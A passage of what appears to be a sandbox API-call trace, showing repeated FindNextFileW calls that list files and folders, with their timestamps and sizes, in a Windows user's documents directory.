dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7JC_yCO.odt", cAlternateFileName="")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9eca140, ftCreationTime.dwHighDateTime=0x1d4c5cc, ftLastAccessTime.dwLowDateTime=0xd4bb5290, ftLastAccessTime.dwHighDateTime=0x1d4c7f8, ftLastWriteTime.dwLowDateTime=0xd4bb5290, ftLastWriteTime.dwHighDateTime=0x1d4c7f8, nFileSizeHigh=0x0, nFileSizeLow=0x7a7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8EZD4fe-JzDo4-iwb.ots", cAlternateFileName="8EZD4F~1.OTS")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342bb480, ftCreationTime.dwHighDateTime=0x1d4cc4b, ftLastAccessTime.dwLowDateTime=0x457d90, ftLastAccessTime.dwHighDateTime=0x1d4d150, ftLastWriteTime.dwLowDateTime=0x457d90, ftLastWriteTime.dwHighDateTime=0x1d4d150, nFileSizeHigh=0x0, nFileSizeLow=0x11caf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8YZ957hMKqh_.odp", cAlternateFileName="8YZ957~1.ODP")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb284d0, ftCreationTime.dwHighDateTime=0x1d4f43f, ftLastAccessTime.dwLowDateTime=0xa2b29a00, ftLastAccessTime.dwHighDateTime=0x1d532de, ftLastWriteTime.dwLowDateTime=0xa2b29a00, ftLastWriteTime.dwHighDateTime=0x1d532de, nFileSizeHigh=0x0, nFileSizeLow=0xd6b8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9xmij.pptx", cAlternateFileName="9XMIJ~1.PPT")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc391c5d0, ftCreationTime.dwHighDateTime=0x1d4d4fa, ftLastAccessTime.dwLowDateTime=0x422d5d50, ftLastAccessTime.dwHighDateTime=0x1d4cd3f, ftLastWriteTime.dwLowDateTime=0x422d5d50, ftLastWriteTime.dwHighDateTime=0x1d4cd3f, nFileSizeHigh=0x0, nFileSizeLow=0x97ac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A-wDiWAFo.ots", cAlternateFileName="A-WDIW~1.OTS")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6353980, ftCreationTime.dwHighDateTime=0x1d4c938, ftLastAccessTime.dwLowDateTime=0x396ab7f0, ftLastAccessTime.dwHighDateTime=0x1d4cba3, ftLastWriteTime.dwLowDateTime=0x396ab7f0, ftLastWriteTime.dwHighDateTime=0x1d4cba3, nFileSizeHigh=0x0, nFileSizeLow=0x1039e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="aPJJoH4o5A99cXyI.ods", cAlternateFileName="APJJOH~1.ODS")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1c80ea0, ftCreationTime.dwHighDateTime=0x1d4ce58, ftLastAccessTime.dwLowDateTime=0x1e6a4d50, ftLastAccessTime.dwHighDateTime=0x1d4c60b, ftLastWriteTime.dwLowDateTime=0x1e6a4d50, ftLastWriteTime.dwHighDateTime=0x1d4c60b, nFileSizeHigh=0x0, nFileSizeLow=0x18a03, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="applvCx 7 7q.pdf", cAlternateFileName="APPLVC~1.PDF")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e307ff0, ftCreationTime.dwHighDateTime=0x1d4cbae, ftLastAccessTime.dwLowDateTime=0x415eee50, ftLastAccessTime.dwHighDateTime=0x1d4d264, ftLastWriteTime.dwLowDateTime=0x415eee50, ftLastWriteTime.dwHighDateTime=0x1d4d264, nFileSizeHigh=0x0, nFileSizeLow=0x267a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BUCN1gpGmAwuDQN0e.ppt", cAlternateFileName="BUCN1G~1.PPT")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ec68800, ftCreationTime.dwHighDateTime=0x1d4f00a, ftLastAccessTime.dwLowDateTime=0x520800d0, ftLastAccessTime.dwHighDateTime=0x1d52272, ftLastWriteTime.dwLowDateTime=0x520800d0, ftLastWriteTime.dwHighDateTime=0x1d52272, nFileSizeHigh=0x0, nFileSizeLow=0x121eb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="c2fsy0lIXf9fL9D_.xlsx", cAlternateFileName="C2FSY0~1.XLS")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe371530, ftCreationTime.dwHighDateTime=0x1d4cafb, ftLastAccessTime.dwLowDateTime=0xc92f37f0, ftLastAccessTime.dwHighDateTime=0x1d4d218, ftLastWriteTime.dwLowDateTime=0xc92f37f0, ftLastWriteTime.dwHighDateTime=0x1d4d218, nFileSizeHigh=0x0, nFileSizeLow=0xbed8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cbbKLa 8g2jylz.xlsx", cAlternateFileName="CBBKLA~1.XLS")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x846c5f00, ftCreationTime.dwHighDateTime=0x1d4d4b9, ftLastAccessTime.dwLowDateTime=0x88d03f80, ftLastAccessTime.dwHighDateTime=0x1d4d423, ftLastWriteTime.dwLowDateTime=0x88d03f80, ftLastWriteTime.dwHighDateTime=0x1d4d423, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cIMF3tKpAi.pdf", cAlternateFileName="CIMF3T~1.PDF")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x439cd8f0, ftCreationTime.dwHighDateTime=0x1d500de, ftLastAccessTime.dwLowDateTime=0xbbdf6db0, ftLastAccessTime.dwHighDateTime=0x1d53c06, ftLastWriteTime.dwLowDateTime=0xbbdf6db0, ftLastWriteTime.dwHighDateTime=0x1d53c06, nFileSizeHigh=0x0, nFileSizeLow=0x3779, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CJmRkQ5JiE_lg0ZYg.docx", cAlternateFileName="CJMRKQ~1.DOC")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2540a00, ftCreationTime.dwHighDateTime=0x1d4c883, ftLastAccessTime.dwLowDateTime=0x3dd16cb0, ftLastAccessTime.dwHighDateTime=0x1d4d262, ftLastWriteTime.dwLowDateTime=0x3dd16cb0, ftLastWriteTime.dwHighDateTime=0x1d4d262, nFileSizeHigh=0x0, nFileSizeLow=0x8409, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CqP6Ff j5ryAP9m.csv", cAlternateFileName="CQP6FF~1.CSV")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4558a1e0, ftCreationTime.dwHighDateTime=0x1d4f69a, ftLastAccessTime.dwLowDateTime=0x6495c10, ftLastAccessTime.dwHighDateTime=0x1d527e6, ftLastWriteTime.dwLowDateTime=0x6495c10, ftLastWriteTime.dwHighDateTime=0x1d527e6, nFileSizeHigh=0x0, nFileSizeLow=0x107ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="e29DgY3qW.docx", cAlternateFileName="E29DGY~1.DOC")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87a02a80, ftCreationTime.dwHighDateTime=0x1d4c5aa, ftLastAccessTime.dwLowDateTime=0x1d2fce40, ftLastAccessTime.dwHighDateTime=0x1d4cbad, ftLastWriteTime.dwLowDateTime=0x1d2fce40, ftLastWriteTime.dwHighDateTime=0x1d4cbad, nFileSizeHigh=0x0, nFileSizeLow=0x10147, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EeFAgU3hDZ4U9MuXcsJ.rtf", cAlternateFileName="EEFAGU~1.RTF")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf87b2f00, ftCreationTime.dwHighDateTime=0x1d4cd4f, ftLastAccessTime.dwLowDateTime=0x1e304e20, ftLastAccessTime.dwHighDateTime=0x1d4d2db, ftLastWriteTime.dwLowDateTime=0x1e304e20, ftLastWriteTime.dwHighDateTime=0x1d4d2db, nFileSizeHigh=0x0, nFileSizeLow=0x8e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F-3985rHMiViUc6cgm.xls", cAlternateFileName="F-3985~1.XLS")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b96d9c0, ftCreationTime.dwHighDateTime=0x1d4cca7, ftLastAccessTime.dwLowDateTime=0x58a90590, ftLastAccessTime.dwHighDateTime=0x1d4cd65, ftLastWriteTime.dwLowDateTime=0x58a90590, ftLastWriteTime.dwHighDateTime=0x1d4cd65, nFileSizeHigh=0x0, nFileSizeLow=0x2d8b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FGXg53O8b.pps", cAlternateFileName="FGXG53~1.PPS")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d22be50, ftCreationTime.dwHighDateTime=0x1d520c4, ftLastAccessTime.dwLowDateTime=0xe2bf6240, ftLastAccessTime.dwHighDateTime=0x1d507eb, ftLastWriteTime.dwLowDateTime=0xe2bf6240, ftLastWriteTime.dwHighDateTime=0x1d507eb, nFileSizeHigh=0x0, nFileSizeLow=0x148e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="flz_m1D.xlsx", cAlternateFileName="FLZ_M1~1.XLS")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53d7c410, ftCreationTime.dwHighDateTime=0x1d4d4dc, ftLastAccessTime.dwLowDateTime=0xda2e8e0, ftLastAccessTime.dwHighDateTime=0x1d4cc2a, ftLastWriteTime.dwLowDateTime=0xda2e8e0, ftLastWriteTime.dwHighDateTime=0x1d4cc2a, nFileSizeHigh=0x0, nFileSizeLow=0x451d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GSo0hbTz23.rtf", cAlternateFileName="GSO0HB~1.RTF")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f941600, ftCreationTime.dwHighDateTime=0x1d4cff1, ftLastAccessTime.dwLowDateTime=0x4e93870, ftLastAccessTime.dwHighDateTime=0x1d4c802, ftLastWriteTime.dwLowDateTime=0x4e93870, ftLastWriteTime.dwHighDateTime=0x1d4c802, nFileSizeHigh=0x0, nFileSizeLow=0x8531, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hqdY2gjPn5Eci.docx", cAlternateFileName="HQDY2G~1.DOC")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc86f9c20, ftCreationTime.dwHighDateTime=0x1d4ce20, ftLastAccessTime.dwLowDateTime=0x2928f070, ftLastAccessTime.dwHighDateTime=0x1d4cb2e, ftLastWriteTime.dwLowDateTime=0x2928f070, ftLastWriteTime.dwHighDateTime=0x1d4cb2e, nFileSizeHigh=0x0, nFileSizeLow=0x5daf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="i8DRxWeUJn.pdf", cAlternateFileName="I8DRXW~1.PDF")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10b66f00, ftCreationTime.dwHighDateTime=0x1d4c9fc, ftLastAccessTime.dwLowDateTime=0xf57da5e0, ftLastAccessTime.dwHighDateTime=0x1d4d1c2, ftLastWriteTime.dwLowDateTime=0xf57da5e0, ftLastWriteTime.dwHighDateTime=0x1d4d1c2, nFileSizeHigh=0x0, nFileSizeLow=0x20bc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JF7e24yFrvj874pRbz.xls", cAlternateFileName="JF7E24~1.XLS")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37b53680, ftCreationTime.dwHighDateTime=0x1d4d3f8, ftLastAccessTime.dwLowDateTime=0xa0ae240, ftLastAccessTime.dwHighDateTime=0x1d4d473, ftLastWriteTime.dwLowDateTime=0xa0ae240, ftLastWriteTime.dwHighDateTime=0x1d4d473, nFileSizeHigh=0x0, nFileSizeLow=0x8ff5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kGiZali 3xcty.ots", cAlternateFileName="KGIZAL~1.OTS")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1656e70, ftCreationTime.dwHighDateTime=0x1d53f8c, ftLastAccessTime.dwLowDateTime=0x49117970, ftLastAccessTime.dwHighDateTime=0x1d4ecfd, ftLastWriteTime.dwLowDateTime=0x49117970, ftLastWriteTime.dwHighDateTime=0x1d4ecfd, nFileSizeHigh=0x0, nFileSizeLow=0x16860, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M3c6UFv6B8YP8gKAw.pptx", cAlternateFileName="M3C6UF~1.PPT")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf362ece0, ftCreationTime.dwHighDateTime=0x1d4d26a, ftLastAccessTime.dwLowDateTime=0xc4a9680, ftLastAccessTime.dwHighDateTime=0x1d4d41a, ftLastWriteTime.dwLowDateTime=0xc4a9680, ftLastWriteTime.dwHighDateTime=0x1d4d41a, nFileSizeHigh=0x0, nFileSizeLow=0xb043, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mUv_SkYk3fldq1.pps", cAlternateFileName="MUV_SK~1.PPS")) returned 1 [0117.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0117.281] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0117.281] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0117.281] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0117.281] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21a20c00, ftCreationTime.dwHighDateTime=0x1d5194a, ftLastAccessTime.dwLowDateTime=0xc4634680, ftLastAccessTime.dwHighDateTime=0x1d5668d, ftLastWriteTime.dwLowDateTime=0xc4634680, ftLastWriteTime.dwHighDateTime=0x1d5668d, nFileSizeHigh=0x0, nFileSizeLow=0xf875, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ndagl35.xlsx", cAlternateFileName="NDAGL3~1.XLS")) returned 1 [0117.281] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fd4def0, ftCreationTime.dwHighDateTime=0x1d4c6bd, ftLastAccessTime.dwLowDateTime=0x9b5c03c0, ftLastAccessTime.dwHighDateTime=0x1d4c602, ftLastWriteTime.dwLowDateTime=0x9b5c03c0, ftLastWriteTime.dwHighDateTime=0x1d4c602, nFileSizeHigh=0x0, nFileSizeLow=0xbb05, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Nqt6s-h.rtf", cAlternateFileName="")) returned 1 [0117.281] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b94bf10, ftCreationTime.dwHighDateTime=0x1d4c98e, ftLastAccessTime.dwLowDateTime=0x4fe81fe0, ftLastAccessTime.dwHighDateTime=0x1d4cfe5, ftLastWriteTime.dwLowDateTime=0x4fe81fe0, ftLastWriteTime.dwHighDateTime=0x1d4cfe5, nFileSizeHigh=0x0, nFileSizeLow=0xc06a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OiTQ4Y77X9w.ppt", cAlternateFileName="OITQ4Y~1.PPT")) returned 1 [0117.281] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0117.281] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd506de50, ftCreationTime.dwHighDateTime=0x1d4ca18, ftLastAccessTime.dwLowDateTime=0x13020040, ftLastAccessTime.dwHighDateTime=0x1d4d24d, ftLastWriteTime.dwLowDateTime=0x13020040, ftLastWriteTime.dwHighDateTime=0x1d4d24d, nFileSizeHigh=0x0, nFileSizeLow=0xe97c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OzU-IttpwwBuAxnEt.ppt", cAlternateFileName="OZU-IT~1.PPT")) returned 1 [0117.281] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b1bc5b0, ftCreationTime.dwHighDateTime=0x1d4ce21, ftLastAccessTime.dwLowDateTime=0x58fe690, ftLastAccessTime.dwHighDateTime=0x1d4d043, ftLastWriteTime.dwLowDateTime=0x58fe690, ftLastWriteTime.dwHighDateTime=0x1d4d043, nFileSizeHigh=0x0, nFileSizeLow=0x46a2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pP5LKp.rtf", cAlternateFileName="")) returned 1 [0117.281] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa290dbd0, ftCreationTime.dwHighDateTime=0x1d4d394, ftLastAccessTime.dwLowDateTime=0x91b1250, ftLastAccessTime.dwHighDateTime=0x1d4c641, ftLastWriteTime.dwLowDateTime=0x91b1250, ftLastWriteTime.dwHighDateTime=0x1d4c641, nFileSizeHigh=0x0, nFileSizeLow=0x9784, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PRVnBgxJ5.odt", cAlternateFileName="PRVNBG~1.ODT")) returned 1 [0117.281] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3426d80, ftCreationTime.dwHighDateTime=0x1d5543a, ftLastAccessTime.dwLowDateTime=0x81f27d70, ftLastAccessTime.dwHighDateTime=0x1d4e2f3, ftLastWriteTime.dwLowDateTime=0x81f27d70, ftLastWriteTime.dwHighDateTime=0x1d4e2f3, nFileSizeHigh=0x0, nFileSizeLow=0x10b22, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QUr6Wv.xlsx", cAlternateFileName="QUR6WV~1.XLS")) returned 1 [0117.281] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0e290d0, ftCreationTime.dwHighDateTime=0x1d4cc5a, ftLastAccessTime.dwLowDateTime=0x1578afc0, ftLastAccessTime.dwHighDateTime=0x1d4d204, ftLastWriteTime.dwLowDateTime=0x1578afc0, ftLastWriteTime.dwHighDateTime=0x1d4d204, nFileSizeHigh=0x0, nFileSizeLow=0x3de9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qvceNH5FTtN.rtf", cAlternateFileName="QVCENH~1.RTF")) returned 1 [0117.281] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8feced0, ftCreationTime.dwHighDateTime=0x1d4c5b8, ftLastAccessTime.dwLowDateTime=0x7a485940, ftLastAccessTime.dwHighDateTime=0x1d4ce59, ftLastWriteTime.dwLowDateTime=0x7a485940, ftLastWriteTime.dwHighDateTime=0x1d4ce59, nFileSizeHigh=0x0, nFileSizeLow=0x1747c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QY6CDvI9g4eui.pptx", cAlternateFileName="QY6CDV~1.PPT")) returned 1 [0117.281] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b135d50, ftCreationTime.dwHighDateTime=0x1d4d4b5, ftLastAccessTime.dwLowDateTime=0x15286cd0, ftLastAccessTime.dwHighDateTime=0x1d4cde6, ftLastWriteTime.dwLowDateTime=0x15286cd0, ftLastWriteTime.dwHighDateTime=0x1d4cde6, nFileSizeHigh=0x0, nFileSizeLow=0xf28, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RMMC2E_QGSZx-2yz.rtf", cAlternateFileName="RMMC2E~1.RTF")) returned 1 [0117.281] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc02870, ftCreationTime.dwHighDateTime=0x1d4d38e, ftLastAccessTime.dwLowDateTime=0x6bb91ce0, ftLastAccessTime.dwHighDateTime=0x1d4ca38, ftLastWriteTime.dwLowDateTime=0x6bb91ce0, ftLastWriteTime.dwHighDateTime=0x1d4ca38, nFileSizeHigh=0x0, nFileSizeLow=0x16f96, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S9TDRhPkSv5vLHzMFlW.odt", cAlternateFileName="S9TDRH~1.ODT")) returned 1 [0117.281] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ca6b20, ftCreationTime.dwHighDateTime=0x1d55a91, ftLastAccessTime.dwLowDateTime=0x7085c400, ftLastAccessTime.dwHighDateTime=0x1d51743, ftLastWriteTime.dwLowDateTime=0x7085c400, ftLastWriteTime.dwHighDateTime=0x1d51743, nFileSizeHigh=0x0, nFileSizeLow=0x13fca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sQiZZ.docx", cAlternateFileName="SQIZZ~1.DOC")) returned 1 [0117.281] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80dab50, ftCreationTime.dwHighDateTime=0x1d4cd23, ftLastAccessTime.dwLowDateTime=0xbab97400, ftLastAccessTime.dwHighDateTime=0x1d4ce18, ftLastWriteTime.dwLowDateTime=0xbab97400, ftLastWriteTime.dwHighDateTime=0x1d4ce18, nFileSizeHigh=0x0, nFileSizeLow=0x10b48, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TzAPiAs6qAhraI.odp", cAlternateFileName="TZAPIA~1.ODP")) returned 1 [0117.282] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23ec4b40, ftCreationTime.dwHighDateTime=0x1d4d35b, ftLastAccessTime.dwLowDateTime=0xe6c90ec0, ftLastAccessTime.dwHighDateTime=0x1d4c670, ftLastWriteTime.dwLowDateTime=0xe6c90ec0, ftLastWriteTime.dwHighDateTime=0x1d4c670, nFileSizeHigh=0x0, nFileSizeLow=0x1836e, dwReserved0=0xa0000003, dwReserved1=0x0, 